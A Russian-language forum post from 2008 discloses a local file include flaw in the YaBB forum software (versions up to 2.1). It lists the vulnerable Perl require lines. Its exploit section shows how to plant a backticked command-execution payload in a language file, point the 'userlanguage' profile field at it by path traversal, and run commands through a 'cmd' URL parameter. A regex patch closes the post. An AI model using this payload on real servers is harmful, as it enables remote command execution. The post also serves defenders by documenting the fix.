Показать сообщение отдельно

Дополнение к предыдущему посту - Local File Include Vulnerabilities in YaBB <= 2.1
  #7  
Старый 20.01.2008, 02:30
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию Дополнение к предыдущему посту - Local File Include Vulnerabilities in YaBB <= 2.1

Уязвимость присутствует в переменной $language, которую пользователь может менять в своем профиле.

Уязвимые скрипты, содержащие переменную $language:

Sources/HelpCentre.pl, строка 139

Код:
if (-e ("$helpfile/$language/$help_area/$line.help")) { 
                       require "$helpfile/$language/$help_area/$line.help"; 
}
Sources/Subs.pl, строка 1529

Код:
if (-e "$langdir/$use_lang/$what_to_load.lng") { 
       require "$langdir/$use_lang/$what_to_load.lng"; 
}
Sources/ICQPager.pl, строка 21

Код:
if ($language) { require "$langdir/$language/ICQ.lng"; }
Sources/Post.pl, строка 1838

Код:
if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/Post.pl, строка 1863

Код:
if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/Post.pl, строка 1880

Код:
if (-e "$langdir/$actlang/Notify.lng") { require "$langdir/$actlang/Notify.lng"; }
Sources/InstantMessage.pl, строка 1080

Код:
if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/InstantMessage.lng"; }
Sources/InstantMessage.pl, строка 1082

Код:
if (-e "$langdir/$actlang/InstantMessage.lng") { require "$langdir/$actlang/Main.lng"; }
Exploit

Как было указано в предыдущем посте, для успешной эксплуатации уязвимости необходим доступ по FTP или SSH.
Нужно изменить содержимое файла English/HelpCentre.lng
с:
Код:
%helptxt = ( 
               '1' => "Help Section", 
               '2' => "Contents",
на:
Код:
$content="<br><br><br><br><font color=red>"; 
               $content.=`$INFO{'cmd'}`; 
               $content.
="</font><br><br><br><br>"; 
               %helptxt = ( 
               '1' => "Help Section", 
               '2' => $content,
Далее в профиле пользователя меняем значение параметра 'userlanguage' на:

"../../путь/до/папки/English/"

С помощью браузера переходим в раздел "Help":

http://site.com/yabb2/YaBB.pl?action=help

С помощью дописанной нами переменной 'cmd' можно выполнять произвольные команды на сервере:

http://site.com/yabb2/YaBB.pl?action=help&cmd=id

http://site.com/yabb2/YaBB.pl?action=help&cmd=uname%
20-a

и т.п.

Патч


Для исправления уязвимости необходимо ввести фильтрацию переменной 'userlanguage' в модуле профиля пользователя.
Для этого вносим изменения в код скрипта

Sources/Profile.pl, строка 1225:

этот кусок кода
Код:
if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@/]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }
меняем на:

Код:
if ($member{'userlanguage'} !~ m^\A[0-9a-zA-Z_\.\#\%\-\:
\+\?\$\&\~\.\,\@]+\Z^ && $member{'userlanguage'} ne "") { &fatal_error($profile_txt{'815'}); }
Теперь в переменной 'userlanguage' будет фильтоваться символ /, что предотвратит возможность инклуда.
 
Ответить с цитированием